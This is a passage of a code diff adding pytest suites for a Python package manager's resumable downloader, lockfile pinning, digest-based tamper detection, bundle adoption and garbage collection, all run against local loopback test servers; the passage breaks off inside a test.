+ (partials / f"{key}.ranges").write_text(json.dumps([[0, 1 << 20]])) + dl = Download([Source(_url(dl_server, "/c"), dest, _sha(payload))], + partials_dir=partials) + dl.run() + assert dest.read_bytes() == payload + assert _Handler.ranges_seen == [("/c", 1 << 20, (4 << 20) - 1)] + + +def test_partials_never_in_scratch_or_dest(dl_server, tmp_path): + payload = _payload(1 << 20) + _Handler.payloads["/p"] = payload + dest = tmp_path / "p.bin" + partials = tmp_path / "partials" + dl = Download([Source(_url(dl_server, "/p"), dest)], + partials_dir=partials) + dl.run() + # dest is the only file in its dir; partials dir is empty after mv. + # (The test harness may drop its own marker dir into tmp_path.) + assert dest.exists() + assert list(partials.iterdir()) == [] + assert not [p for p in tmp_path.iterdir() + if p.suffix in (".part", ".ranges")] + + +def test_completed_dest_is_skipped(dl_server, tmp_path): + payload = _payload(1 << 20) + _Handler.payloads["/s"] = payload + dest = tmp_path / "s.bin" + dest.write_bytes(payload) + dl = Download([Source(_url(dl_server, "/s"), dest, _sha(payload))], + partials_dir=tmp_path / "partials") + dl.run() + assert _Handler.ranges_seen == [] # nothing fetched + + +def test_stale_dest_with_wrong_hash_is_refetched(dl_server, tmp_path): + payload = _payload(1 << 20) + _Handler.payloads["/s"] = payload + dest = tmp_path / "s.bin" + dest.write_bytes(_payload(1 << 20, seed=b"wrong")) # wrong bytes on disk + dl = Download([Source(_url(dl_server, "/s"), dest, _sha(payload))], + partials_dir=tmp_path / "partials") + dl.run() + assert dest.read_bytes() == payload # stale dest replaced + assert _Handler.ranges_seen # a fetch actually happened + + +def test_completed_dest_without_hash_is_skipped(dl_server, tmp_path): + # Model-catalog policy: no pinned hash -> a present file is accepted + # (size is the only tripwire), matching fresh-download semantics. + payload = _payload(1 << 20) + _Handler.payloads["/s"] = payload + dest = tmp_path / "s.bin" + dest.write_bytes(payload) + dl = Download([Source(_url(dl_server, "/s"), dest)], + partials_dir=tmp_path / "partials") + dl.run() + assert _Handler.ranges_seen == [] # nothing fetched + + +def test_redirect_to_non_https_refused(): + import urllib.request + + from pm.downloader import _HttpsRedirectHandler + + handler = _HttpsRedirectHandler() + req = urllib.request.Request("https://example.com/a") + with pytest.raises(DownloadError): + handler.redirect_request(req, None, 302, "Found", {}, + "http://example.com/b") + # An https redirect resolves through the default handler. + assert handler.redirect_request(req, None, 302, "Found", {}, + "https://example.com/b") is not None + + +# ── pause ───────────────────────────────────────────────────── + + +def test_pause_leaves_partials_intact(dl_server, tmp_path): + _Handler.payloads["/p"] = _payload(32 << 20) + _Handler.slow_per_chunk = 0.01 + dest = tmp_path / "p.bin" + partials = tmp_path / "partials" + dl = Download([Source(_url(dl_server, "/p"), dest)], + partials_dir=partials) + result: dict = {} + + def run_it(): + try: + dl.run() + result["ok"] = True + except DownloadPaused: + result["paused"] = True + + thread = threading.Thread(target=run_it) + thread.start() + for _ in range(200): + if partials.exists() and any(partials.iterdir()): + break + time.sleep(0.05) + dl.pause() + thread.join(timeout=15) + assert result.get("paused") + assert not dest.exists() + names = {p.name for p in partials.iterdir()} + assert any(n.endswith(".part") for n in names) + assert any(n.endswith(".ranges") for n in names) + + +# ── safety ──────────────────────────────────────────────────── + + +def test_refuses_non_https_non_loopback(tmp_path): + dl = Download([Source("http://example.com/x", tmp_path / "x.bin")], + partials_dir=tmp_path / "partials") + with pytest.raises(ValueError): + dl.run() + + +# ── edge cases: no-Range fallback, multi-source resume, pause mid-plan ── + + +def test_no_range_fallback_downloads_full_body(dl_server, tmp_path): + """A server that ignores Range is served by the single-stream fallback: + the whole body arrives and progress reports the full covered range.""" + _Handler.no_range = True + payload = _payload(1 << 20) + _Handler.payloads["/nr"] = payload + dest = tmp_path / "nr.bin" + dl = Download([Source(_url(dl_server, "/nr"), dest, _sha(payload))], + partials_dir=tmp_path / "partials") + seen = [] + moved = dl.run(progress=lambda d, t, r: seen.append((d, t, dict(r)))) + assert moved == [dest] + assert dest.read_bytes() == payload + assert _Handler.ranges_seen == [] # never used Range + d, t, r = seen[-1] + assert d == t == len(payload) + assert r["nr.bin"] == [(0, len(payload))] + + +def test_no_range_short_body_raises_and_leaves_no_dest(dl_server, tmp_path): + """The fallback errors when the server sends FEWER bytes than its + declared Content-Length (connection dropped mid-body), leaving the + partial in the managed area and NO dest.""" + _Handler.no_range = True + payload = _payload(2 << 20) + _Handler.payloads["/ns"] = payload + _Handler.abort_after = 1 << 20 # server declares 2 MiB, sends 1 MiB + dest = tmp_path / "ns.bin" + partials = tmp_path / "partials" + dl = Download([Source(_url(dl_server, "/ns"), dest)], + partials_dir=partials) + with pytest.raises(DownloadError): + dl.run() + assert not dest.exists() + names = {p.name for p in partials.iterdir()} + assert any(n.endswith(".part") for n in names) + assert any(n.endswith(".ranges") for n in names) + + +def test_resume_across_plan_skips_completed_source(dl_server, tmp_path): + """A 2-source plan: source 1 completes, source 2 aborts. A second run + of the SAME plan completes BOTH files without re-fetching source 1 — + source 1 gets exactly one request across both runs and source 2's + second request starts at its abort point.""" + total_b = 8 << 20 + p_a, p_b = _payload(1 << 20, b"a"), _payload(total_b, b"b") + _Handler.payloads["/a"] = p_a + _Handler.payloads["/b"] = p_b + da, db = tmp_path / "a.bin", tmp_path / "b.bin" + partials = tmp_path / "partials" + + _Handler.abort_after = 2 << 20 + dl = Download([Source(_url(dl_server, "/a"), da, _sha(p_a)), + Source(_url(dl_server, "/b"), db, _sha(p_b))], + partials_dir=partials, connections=1) + with pytest.raises(Exception): + dl.run() + + _Handler.abort_after = None + dl = Download([Source(_url(dl_server, "/a"), da, _sha(p_a)), + Source(_url(dl_server, "/b"), db, _sha(p_b))], + partials_dir=partials, connections=1) + dl.run() + assert da.read_bytes() == p_a + assert db.read_bytes() == p_b + a_reqs = [r for r in _Handler.ranges_seen if r[0] == "/a"] + assert len(a_reqs) == 1 # exactly one request across both runs + b_reqs = [r for r in _Handler.ranges_seen if r[0] == "/b"] + # first request starts at 0; second (resume) starts at the abort point + assert b_reqs[0][1] == 0 + assert b_reqs[1][1] == 2 << 20 + assert b_reqs[1][1] != b_reqs[0][1] + + +def test_resume_first_progress_shows_durable_prefix(dl_server, tmp_path): + """On a resumed download, the SECOND run's first progress tick already + reports the durable prefix as a covered range and overall_done starting + above zero.""" + total = 8 << 20 + payload = _payload(total) + _Handler.payloads["/rp"] = payload + dest = tmp_path / "rp.bin" + partials = tmp_path / "partials" + + _Handler.abort_after = 2 << 20 + dl = Download([Source(_url(dl_server, "/rp"), dest, _sha(payload))], + partials_dir=partials, connections=1) + with pytest.raises(Exception): + dl.run() + + _Handler.abort_after = None + dl = Download([Source(_url(dl_server, "/rp"), dest, _sha(payload))], + partials_dir=partials, connections=1) + seen = [] + dl.run(progress=lambda d, t, r: seen.append((d, t, dict(r)))) + assert dest.read_bytes() == payload + d0, t0, r0 = seen[0] + assert d0 > 0 # overall_done starts above zero (durable prefix + new) + assert t0 == total + ranges = r0["rp.bin"] + assert len(ranges) == 1 # coalesced + assert ranges[0][0] == 0 # the durable prefix is a covered range + assert ranges[0][1] > 0 + + +def test_pause_mid_plan_resumes_to_completion(dl_server, tmp_path): + """Pause after source 1 completes: DownloadPaused is raised, source 1's + dest is moved/complete, and source 2's partial survives in the managed + area; a FRESH Download over the same plan resumes to full completion.""" + p_a, p_b = _payload(1 << 20, b"a"), _payload(32 << 20, b"b") + _Handler.payloads["/a"] = p_a + _Handler.payloads["/b"] = p_b + da, db = tmp_path / "a.bin", tmp_path / "b.bin" + partials = tmp_path / "partials" + _Handler.slow_per_chunk = 0.01 + + dl = Download([Source(_url(dl_server, "/a"), da, _sha(p_a)), + Source(_url(dl_server, "/b"), db, _sha(p_b))], + partials_dir=partials) + result: dict = {} + + def run_it(): + try: + dl.run() + result["ok"] = True + except DownloadPaused: + result["paused"] = True + except Exception as exc: # noqa: BLE001 + result["err"] = exc + + thread = threading.Thread(target=run_it) + thread.start() + for _ in range(400): + if da.exists(): + break + time.sleep(0.05) + assert da.exists(), "source 1 never completed" + dl.pause() + thread.join(timeout=20) + assert result.get("paused"), result.get("err") + assert da.read_bytes() == p_a # source 1 moved despite the pause + assert not db.exists() + names = {p.name for p in partials.iterdir()} + assert any(n.endswith(".part") for n in names) + assert any(n.endswith(".ranges") for n in names) + + # a FRESH Download over the same plan resumes to full completion + _Handler.slow_per_chunk = 0.0 + dl = Download([Source(_url(dl_server, "/a"), da, _sha(p_a)), + Source(_url(dl_server, "/b"), db, _sha(p_b))], + partials_dir=partials) + dl.run() + assert da.read_bytes() == p_a + assert db.read_bytes() == p_b + + +def test_gc_protected_names_live_partial(tmp_path): + """gc protection: entries touched inside the grace window are live.""" + import os + + partials = tmp_path / "partials" + partials.mkdir() + (partials / "abc.part").write_bytes(b"p") + (partials / "abc.ranges").write_text("[]") + (partials / "old.part").write_bytes(b"p") + # Backdate the stale entry beyond any plausible grace window. + old = time.time() - 10 * 24 * 3600 + os.utime(partials / "old.part", (old, old)) + + protected = gc_protected_names(partials) + assert "abc.part" in protected + assert "abc.ranges" in protected # either half protects the pair + assert "old.part" not in protected + + # A grace window of zero protects nothing. + assert gc_protected_names(partials, grace_seconds=0) == set() + + +def test_gc_protected_names_missing_dir(tmp_path): + assert gc_protected_names(tmp_path / "nope") == set() diff --git a/tests/pm/test_extras.py b/tests/pm/test_extras.py new file mode 100644 index 0000000000..717a0d8165 --- /dev/null +++ b/tests/pm/test_extras.py @@ -0,0 +1,109 @@ +"""pm.extras: anchor availability, ensure_import, ensure_and_bind, and the +spec→extra install shim. Network-free — sync_venv is always stubbed (via the +pm.ensure module object; the pm package re-exports the ensure() FUNCTION, +which shadows the submodule attribute for string-path monkeypatching).""" + +from __future__ import annotations + +import importlib +import sys +from types import SimpleNamespace + +import pytest + +import pm +import pm.extras as extras + +ensure_mod = importlib.import_module("pm.ensure") + + +@pytest.fixture +def synced(monkeypatch): + calls: list[list[str]] = [] + monkeypatch.setattr(ensure_mod, "sync_venv", lambda x=None: calls.append(list(x or []))) + return calls + + +def test_available_known_anchor_present(): + assert extras.available("web") is True # fastapi ships in this venv + + +def test_available_missing_module(): + assert extras.available("no-such-extra-anywhere") is False + + +def test_available_counts_sys_modules_fakes(monkeypatch): + monkeypatch.setitem(sys.modules, "hindsight", SimpleNamespace()) + assert extras.available("hindsight") is True + + +def test_available_unknown_extra_uses_underscore_guess(monkeypatch): + monkeypatch.setitem(sys.modules, "some_new_thing", SimpleNamespace()) + assert extras.available("some-new-thing") is True + + +def test_ensure_import_noop_when_available(monkeypatch, synced): + monkeypatch.setitem(sys.modules, "fal_client", SimpleNamespace()) + extras.ensure_import("fal") + assert synced == [] + + +def test_ensure_import_syncs_when_missing(monkeypatch, synced): + monkeypatch.setattr(extras, "available", lambda e: False) + extras.ensure_import("fal") + assert synced == [["fal"]] + + +def test_ensure_import_propagates_install_error(monkeypatch): + def boom(x=None): + raise pm.InstallError("venv", "lazy installs are disabled") + + monkeypatch.setattr(ensure_mod, "sync_venv", boom) + monkeypatch.setattr(extras, "available", lambda e: False) + with pytest.raises(pm.InstallError): + extras.ensure_import("fal") + + +def test_ensure_and_bind_binds_on_success(monkeypatch, synced): + monkeypatch.setattr(extras, "available", lambda e: True) + target: dict = {} + ok = extras.ensure_and_bind("fal", lambda: {"NAME": 42}, target) + assert ok is True and target["NAME"] == 42 + + +def test_ensure_and_bind_false_on_install_failure(monkeypatch): + def boom(x=None): + raise pm.InstallError("venv", "nope") + + monkeypatch.setattr(ensure_mod, "sync_venv", boom) + monkeypatch.setattr(extras, "available", lambda e: False) + target: dict = {} + assert extras.ensure_and_bind("fal", lambda: {"X": 1}, target) is False + assert target == {} + + +def test_ensure_and_bind_false_on_import_failure(monkeypatch, synced): + monkeypatch.setattr(extras, "available", lambda e: True) + + def importer(): + raise ImportError("still broken") + + assert extras.ensure_and_bind("fal", importer, {}) is False + + +def test_package_reexports(): + assert pm.available is extras.available + assert pm.ensure_import is extras.ensure_import + + +def test_every_anchor_extra_exists_in_pyproject(): + """Contract: ANCHORS maps real pyproject extras (no orphaned names).""" + import tomllib + from pathlib import Path + + py = tomllib.loads( + (Path(__file__).resolve().parents[2] / "pyproject.toml").read_text(encoding="utf-8") + ) + declared = set(py["project"]["optional-dependencies"]) + orphans = set(extras.ANCHORS) - declared + assert not orphans, f"ANCHORS names extras pyproject does not declare: {sorted(orphans)}" diff --git a/tests/pm/test_pm_authority.py b/tests/pm/test_pm_authority.py new file mode 100644 index 0000000000..135c83a444 --- /dev/null +++ b/tests/pm/test_pm_authority.py @@ -0,0 +1,419 @@ +"""pm authority spine: digest-bound facts, tree_digest + doctor re-hash, +adopt() verification gate, repair logging. + +Same conventions as test_pm_core: real loopback server, real archives, +real store — no mocked stores. Assertions are relationships (identity +matches lock, digest matches bytes), not snapshots.""" + +from __future__ import annotations + +import hashlib +import io +import json +import logging +import shutil +import tarfile +import threading +from functools import partial +from http.server import HTTPServer, SimpleHTTPRequestHandler +from pathlib import Path + +import pytest + +import pm.paths as paths +import pm.registry as registry +from pm.lock import Facts, Lockfile +from pm.package import Package +from pm.packages import BinaryPackage +from pm.store import Store, current_target, tree_digest + + +class FakeTool(BinaryPackage): + name = "faketool" + probe_version = False + binary_rel = {"win32": "bin/faketool", "posix": "bin/faketool"} + + def fetch_url(self, version, target): + return f"{FakeTool.base_url}/{self.name}-{version}.tar.gz" + + +def make_tar(docroot: Path, name: str, files: dict[str, str]) -> tuple[str, str]: + buf = io.BytesIO() + with tarfile.open(fileobj=buf, mode="w:gz") as tf: + for rel, content in files.items(): + data = content.encode() + info = tarfile.TarInfo(rel) + info.size = len(data) + info.mode = 0o755 + tf.addfile(info, io.BytesIO(data)) + payload = buf.getvalue() + (docroot / name).write_bytes(payload) + return name, hashlib.sha256(payload).hexdigest() + + +@pytest.fixture +def served(tmp_path): + docroot = tmp_path / "www" + docroot.mkdir() + handler = partial(SimpleHTTPRequestHandler, directory=str(docroot)) + server = HTTPServer(("127.0.0.1", 0), handler) + thread = threading.Thread(target=server.serve_forever, daemon=True) + thread.start() + yield docroot, f"http://127.0.0.1:{server.server_port}" + server.shutdown() + + +@pytest.fixture +def pm_env(tmp_path, served, monkeypatch): + docroot, base_url = served + runtime = tmp_path / "runtime" + monkeypatch.setenv("HERMES_RUNTIME_DIR", str(runtime)) + monkeypatch.delenv("HERMES_DISABLE_LAZY_INSTALLS", raising=False) + import importlib + + ensure_mod = importlib.import_module("pm.ensure") + monkeypatch.setattr(ensure_mod, "lazy_installs_allowed", lambda: True) + paths._stamp.cache_clear() + + saved = dict(registry._packages) + registry._packages.clear() + registry._packages[FakeTool.name] = FakeTool() + FakeTool.base_url = base_url + + lock_dir = tmp_path / "repo-lock" + lock_dir.mkdir() + lockfile_path = lock_dir / "lock.json" + monkeypatch.setattr(paths, "lockfile_path", lambda: lockfile_path) + + name, digest = make_tar(docroot, "faketool-1.0.tar.gz", {"bin/faketool": "#!x"}) + lockfile = Lockfile(lockfile_path) + lockfile.set_pin( + "faketool", "1.0", + {"any": {"url": f"{base_url}/faketool-1.0.tar.gz", "sha256": digest}}, + ) + lockfile.save() + + yield { + "lockfile_path": lockfile_path, + "runtime": runtime, + "docroot": docroot, + "base_url": base_url, + "digest": digest, + "tmp_path": tmp_path, + "monkeypatch": monkeypatch, + } + + registry._packages.clear() + registry._packages.update(saved) + + +def _pin(env, name: str, version: str, digest: str) -> None: + lockfile = Lockfile(env["lockfile_path"]) + url = f"{env['base_url']}/{name}-{version}.tar.gz" + lockfile.set_pin(name, version, {"any": {"url": url, "sha256": digest}}) + lockfile.save() + + +# ── item 1: digest-bound facts ──────────────────────────────────────── + + +def test_same_version_different_sha_is_not_installed_and_repaired(pm_env): + """The witness: same version, different artifact sha. Version/path + matching cannot see this; identity matching must — check() reports + it and ensure() replaces the entry bytes.""" + from pm.ensure import check, ensure, is_installed + + env = pm_env + ensure("faketool", base_env={}) + assert is_installed("faketool") + + _, digest_b = make_tar(env["docroot"], "faketool-1.0-b.tar.gz", {"bin/faketool": "#!B"}) + # Same VERSION, different archive (different url + sha) — the + # version-only check would accept this re-pin. + lockfile = Lockfile(env["lockfile_path"]) + lockfile.set_pin( + "faketool", "1.0", + {"any": {"url": f"{env['base_url']}/faketool-1.0-b.tar.gz", "sha256": digest_b}}, + ) + lockfile.save() + assert not is_installed("faketool") + assert check() == ["faketool: not installed or outdated"] + + runner = ensure("faketool", base_env={}) + assert is_installed("faketool") + fact = Facts(paths.facts_path()).get("faketool") + entry_bin = paths.store_root() / fact["entry"] / "bin" / "faketool" + with open(entry_bin, "rb") as f: + assert f.read() == b"#!B" + + # The fact now binds the new identity, not the old one. + fact = Facts(paths.facts_path()).get("faketool") + assert fact["target"] == current_target() + assert fact["artifacts"] == [digest_b] + + +def test_poisoned_fetch_cache_is_redownloaded(pm_env): + """The fetch cache is keyed on the FULL sha and re-hashed before it is + trusted; poisoned bytes are deleted and re-downloaded.""" + env = pm_env + runtime = env["runtime"] + store = Store(runtime / "scratch-store") + url = f"{env['base_url']}/faketool-1.0.tar.gz" + digest = env["digest"] + + first = store.fetch(url, digest, runtime / "scratch-store") + assert sha_of(first) == digest + + # Poison the cached entry: same name, wrong bytes. + with open(first, "wb") as f: + f.write(b"poisoned") + + second = store.fetch(url, digest, runtime / "scratch-store") + assert sha_of(second) == digest + + +def sha_of(path: Path) -> str: + return hashlib.sha256(path.read_bytes()).hexdigest() + + +def test_legacy_fact_without_identity_is_not_installed(pm_env): + """Facts written before identity existed read back fine but are NOT + vouchable: installed() with identity returns False and forces one + reinstall.""" + from pm.ensure import ensure, is_installed + + env = pm_env + ensure("faketool", base_env={}) + + facts_path = paths.facts_path() + data = json.loads(facts_path.read_text(encoding="utf-8")) + data["packages"]["faketool"] = { + "entry": data["packages"]["faketool"]["entry"], + "version": "1.0", + "env": data["packages"]["faketool"]["env"], + } + facts_path.write_text(json.dumps(data), encoding="utf-8") + + assert not is_installed("faketool") + # ensure() repairs it: reinstalls and records the full identity. + ensure("faketool", base_env={}) + assert is_installed("faketool") + fact = Facts(paths.facts_path()).get("faketool") + assert fact["artifacts"] == [env["digest"]] + + +def test_doctor_flags_legacy_fact(pm_env, capsys): + from pm.cli import cmd_doctor + from pm.ensure import ensure + + env = pm_env + ensure("faketool", base_env={}) + facts_path = paths.facts_path() + data = json.loads(facts_path.read_text(encoding="utf-8")) + for key in ("target", "artifacts", "digest"): + data["packages"]["faketool"].pop(key, None) + facts_path.write_text(json.dumps(data), encoding="utf-8") + + assert cmd_doctor(None) == 1 + assert "legacy fact: no recorded identity" in capsys.readouterr().out + + +# ── item 2: realized digest + doctor re-hash ────────────────────────── + + +def test_tree_digest_is_content_bound(pm_env): + """Same content in different creation order digests identically; one + changed byte digests differently; a symlink contributes its link + TARGET TEXT, not the target's bytes.""" + import os + + a = pm_env["tmp_path"] / "tree-a" + b = pm_env["tmp_path"] / "tree-b" + (a / "sub").mkdir(parents=True) + (b / "sub").mkdir(parents=True) + (a / "sub" / "f.txt").write_text("hello") + (b / "sub" / "f.txt").write_text("hello") + (a / "top.txt").write_text("t") + (b / "top.txt").write_text("t") + assert tree_digest(a) == tree_digest(b) + + (b / "top.txt").write_text("u") + assert tree_digest(a) != tree_digest(b) + + # Symlink: link text is the data — retargeting changes the digest + # even though the pointed-at bytes never change. + (a / "sub" / "f.txt").write_text("hello") + try: + (b / "link").symlink_to("sub/f.txt") + d1 = tree_digest(b) + (b / "link").unlink() + (b / "link").symlink_to("top.txt") + assert tree_digest(b) != d1 + except OSError: + pytest.skip("symlinks unavailable on this host") + + +def test_doctor_flags_tampered_entry_bytes(pm_env, capsys): + """Post-install tampering: doctor re-hashes the realized tree against + the recorded digest and flags it; restoring the bytes clears it.""" + from pm.cli import cmd_doctor + from pm.ensure import ensure + + env = pm_env + ensure("faketool", base_env={}) + assert cmd_doctor(None) == 0 + + fact = Facts(paths.facts_path()).get("faketool") + binary = paths.store_root() / fact["entry"] / "bin" / "faketool" + original = binary.read_bytes() + binary.write_bytes(original + b"tampered") + assert cmd_doctor(None) == 1 + assert "realized bytes do not match recorded digest" in capsys.readouterr().out + + binary.write_bytes(original) + assert cmd_doctor(None) == 0 + + +# ── item 4: adopt() verification gate ───────────────────────────────── + + +def _bundle_payload(env) -> Path: + """Build a shipped payload the way cmd_bundle lays it out: a repo + snapshot carrying pm/lock.json, and a store whose facts.json holds + the installed state. adopt()'s paths point here via repo_root.""" + from pm.ensure import ensure + + monkeypatch = env["monkeypatch"] + tmp_path = env["tmp_path"] + shipped_repo = tmp_path / "shipped-repo" + (shipped_repo / "pm").mkdir(parents=True) + shutil.copy(env["lockfile_path"], shipped_repo / "pm" / "lock.json") + monkeypatch.setattr(paths, "repo_root", lambda: shipped_repo) + ensure("faketool", base_env={}) + return shipped_repo + + +def test_adopt_adopts_intact_payload(pm_env): + from pm.ensure import adopt + + _bundle_payload(pm_env) + marker = paths.store_root().parent / ".adopted" + assert not marker.is_file() + assert adopt() is True + assert marker.is_file() + # Idempotent: already adopted → False, marker untouched. + assert adopt() is False + + +def test_adopt_refuses_on_missing_staged_binary(pm_env): + from pm.ensure import adopt + + _bundle_payload(pm_env) + fact = Facts(paths.facts_path()).get("faketool") + binary = paths.store_root() / fact["entry"] / "bin" / "faketool" + binary.unlink() + + marker = paths.store_root().parent / ".adopted" + assert adopt() is False + assert not marker.is_file() + + +def test_adopt_refuses_on_tampered_staged_binary(pm_env): + """The adversarial witness: bytes substituted AFTER install fail even + though facts + lock still agree — the digest is computed over the + actual bytes, not read from the manifest.""" + from pm.ensure import adopt + + _bundle_payload(pm_env) + fact = Facts(paths.facts_path()).get("faketool") + binary = paths.store_root() / fact["entry"] / "bin" / "faketool" + binary.write_bytes(b"#!substituted") + + marker = paths.store_root().parent / ".adopted" + assert adopt() is False + assert not marker.is_file() + + +def test_adopt_refuses_when_fact_lacks_identity(pm_env): + from pm.ensure import adopt + + _bundle_payload(pm_env) + facts_path = paths.facts_path() + data = json.loads(facts_path.read_text(encoding="utf-8")) + for key in ("target", "artifacts", "digest"): + data["packages"]["faketool"].pop(key, None) + facts_path.write_text(json.dumps(data), encoding="utf-8") + + assert adopt() is False + assert not (paths.store_root().parent / ".adopted").is_file() + + +# ── item 6: repair logging ──────────────────────────────────────────── + + +def test_gc_protects_in_flight_partials(pm_env): + """gc sweeps the store root, but partials an in-flight download still + owns (fresh mtimes) survive; stale partials are swept.""" + from pm.cli import cmd_gc + + env = pm_env + runtime = env["runtime"] + runtime.mkdir(parents=True, exist_ok=True) + partials = runtime / "partials" + partials.mkdir() + fresh = partials / "abc.part" + fresh.write_bytes(b"x") + stale = partials / "old.part" + stale.write_bytes(b"y") + import os + import time + + old = time.time() - 7 * 3600 # beyond the 6h gc grace window + os.utime(stale, (old, old)) + + orphan = runtime / "orphan-9.9-nowhere" + orphan.mkdir() + + cmd_gc(None) + assert fresh.is_file() + assert not stale.exists() + assert not orphan.exists() + + +def test_repair_log_line_on_reinstall(pm_env, caplog): + """Established fact + missing entry + ensure() → one repair log line, + and the install completes.""" + from pm.ensure import ensure, is_installed + + env = pm_env + ensure("faketool", base_env={}) + + fact = Facts(paths.facts_path()).get("faketool") + shutil.rmtree(paths.store_root() / fact["entry"]) + + with caplog.at_level(logging.INFO, logger="pm.ensure"): + ensure("faketool", base_env={}) + assert is_installed("faketool") + repairs = [r for r in caplog.records if "repair:" in r.getMessage()] + assert any( + "repair: faketool re-realized" in r.getMessage() for r in repairs + ) + + +def test_repair_log_line_on_same_version_repin(pm_env, caplog): + from pm.ensure import ensure + + env = pm_env + ensure("faketool", base_env={}) + _, digest_b = make_tar(env["docroot"], "faketool-1.0-b.tar.gz", {"bin/faketool": "#!B"}) + lockfile = Lockfile(env["lockfile_path"]) + lockfile.set_pin( + "faketool", "1.0", + {"any": {"url": f"{env['base_url']}/faketool-1.0-b.tar.gz", "sha256": digest_b}}, + ) + lockfile.save() + + with caplog.at_level(logging.INFO, logger="pm.ensure"): + ensure("faketool", base_env={}) + repairs = [r.getMessage() for r in caplog.records if "repair:" in r.getMessage()] + assert any("1.0" in msg and env["digest"][:12] in msg for msg in repairs) diff --git a/tests/pm/test_pm_core.py b/tests/pm/test_pm_core.py new file mode 100644 index 0000000000..f4a42c02ff --- /dev/null +++ b/tests/pm/test_pm_core.py @@ -0,0 +1,898 @@ +"""pm end-to-end: install a fake tool from a loopback server, prove the +lockfile/installed-state split, env composition, single-flight, adoption, +and gc behavior. Real downloads, real archives, real locks — no mocked +stores.""" + +from __future__ import annotations + +import hashlib +import io +import json +import os +import tarfile +import threading +from functools import partial +from http.server import HTTPServer, SimpleHTTPRequestHandler +from pathlib import Path + +import pytest + +import pm.paths as paths +import pm.registry as registry +from pm.lock import Facts, Lockfile +from pm.package import InstallError, Package, StatePackage, compose_env +from pm.packages import BinaryPackage +from pm.store import Store, current_target, flatten_single_dir + + +class FakeTool(BinaryPackage): + name = "faketool" + probe_version = False + binary_rel = {"win32": "bin/faketool", "posix": "bin/faketool"} + + def fetch_url(self, version, target): + return f"{FakeTool.base_url}/{self.name}-{version}.tar.gz" + + +class DepTool(FakeTool): + name = "deptool" + + def env(self, entry, target): + diff = super().env(entry, target) + diff["DEPTOOL_SEEN"] = "1" + return diff + + +class TopTool(FakeTool): + name = "toptool" + deps = ("deptool",) + + +class MultiTool(BinaryPackage): + """A runtime split across two archives that must land in one entry.""" + name = "multitool" + probe_version = False + flatten = False + binary_rel = {"win32": "bin/multitool", "posix": "bin/multitool"} + + def fetch_urls(self, version, target): + return [f"{MultiTool.base_url}/{self.name}-{version}-a.tar.gz", + f"{MultiTool.base_url}/{self.name}-{version}-b.tar.gz"] + + def fetch_url(self, version, target): + return self.fetch_urls(version, target)[0] + + +def make_tar(docroot: Path, name: str, files: dict[str, str]) -> tuple[str, str]: + buf = io.BytesIO() + with tarfile.open(fileobj=buf, mode="w:gz") as tf: + for rel, content in files.items(): + data = content.encode() + info = tarfile.TarInfo(rel) + info.size = len(data) + info.mode = 0o755 + tf.addfile(info, io.BytesIO(data)) + payload = buf.getvalue() + (docroot / name).write_bytes(payload) + return name, hashlib.sha256(payload).hexdigest() + + +@pytest.fixture +def served(tmp_path): + docroot = tmp_path / "www" + docroot.mkdir() + handler = partial(SimpleHTTPRequestHandler, directory=str(docroot)) + server = HTTPServer(("127.0.0.1", 0), handler) + thread = threading.Thread(target=server.serve_forever, daemon=True) + thread.start() + yield docroot, f"http://127.0.0.1:{server.server_port}" + server.shutdown() + + +@pytest.fixture +def pm_env(tmp_path, served, monkeypatch): + docroot, base_url = served + runtime = tmp_path / "runtime" + monkeypatch.setenv("HERMES_RUNTIME_DIR", str(runtime)) + monkeypatch.delenv("HERMES_DISABLE_LAZY_INSTALLS", raising=False) + # Policy is pinned open here; the disabled-path tests pin it closed. + import importlib + + ensure_mod = importlib.import_module("pm.ensure") + monkeypatch.setattr(ensure_mod, "lazy_installs_allowed", lambda: True) + paths._stamp.cache_clear() + + saved = dict(registry._packages) + registry._packages.clear() + for cls in (FakeTool, DepTool, TopTool, MultiTool): + registry._packages[cls.name] = cls() + FakeTool.base_url = base_url + MultiTool.base_url = base_url + + lock_dir = tmp_path / "repo-lock" + lock_dir.mkdir() + lockfile_path = lock_dir / "lock.json" + monkeypatch.setattr(paths, "lockfile_path", lambda: lockfile_path) + + name, digest = make_tar(docroot, "faketool-1.0.tar.gz", {"bin/faketool": "#!x"}) + lockfile = Lockfile(lockfile_path) + lockfile.set_pin( + "faketool", "1.0", {"any": {"url": f"{base_url}/faketool-1.0.tar.gz", "sha256": digest}} + ) + lockfile.save() + + yield lockfile_path, runtime, docroot, base_url + + registry._packages.clear() + registry._packages.update(saved) + + +def _pin(lockfile_path: Path, name: str, version: str, digest: str) -> None: + lockfile = Lockfile(lockfile_path) + url = f"{FakeTool.base_url}/{name}-{version}.tar.gz" + lockfile.set_pin(name, version, {"any": {"url": url, "sha256": digest}}) + lockfile.save() + + +def test_install_and_env(pm_env): + from pm.ensure import ensure, is_installed + + runner = ensure("faketool", base_env={}) + assert is_installed("faketool") + assert "faketool-1.0" in runner.env["PATH"] + + +def test_idempotent_and_offline_after_install(pm_env): + from pm.ensure import ensure + + _, _, docroot, _ = pm_env + ensure("faketool", base_env={}) + (docroot / "faketool-1.0.tar.gz").unlink() + runner = ensure("faketool", base_env={}) + assert "faketool-1.0" in runner.env["PATH"] + + +def test_bad_hash_rejected(pm_env): + from pm.ensure import ensure + + lockfile_path, *_ = pm_env + _pin(lockfile_path, "faketool", "1.0", "0" * 64) + with pytest.raises(InstallError, match="install failed"): + ensure("faketool", base_env={}) + + +def test_fetch_is_a_store_entry(pm_env): + from pm.ensure import ensure + + _, runtime, docroot, _ = pm_env + ensure("faketool", base_env={}) + fetches = [p for p in runtime.iterdir() if p.name.startswith("fetch-")] + assert len(fetches) == 1 + + +def test_multi_archive_merges_into_one_entry(pm_env): + """A package split across two archives lands in ONE store entry: a + second entry would put the DLLs where a loading executable can never + find them. No per-archive entries, no leftover scratch.""" + from pm.ensure import ensure, is_installed + + lockfile_path, runtime, docroot, _ = pm_env + _, digest_a = make_tar(docroot, "multitool-1.0-a.tar.gz", + {"bin/multitool": "#!a"}) + _, digest_b = make_tar(docroot, "multitool-1.0-b.tar.gz", + {"lib/extra.so": "y"}) + lockfile = Lockfile(lockfile_path) + lockfile.set_pin("multitool", "1.0", {"any": [ + {"url": f"{FakeTool.base_url}/multitool-1.0-a.tar.gz", "sha256": digest_a}, + {"url": f"{FakeTool.base_url}/multitool-1.0-b.tar.gz", "sha256": digest_b}, + ]}) + lockfile.save() + + ensure("multitool", base_env={}) + assert is_installed("multitool") + + entry_dirs = [p for p in runtime.iterdir() if p.name.startswith("multitool-")] + assert len(entry_dirs) == 1, f"expected one 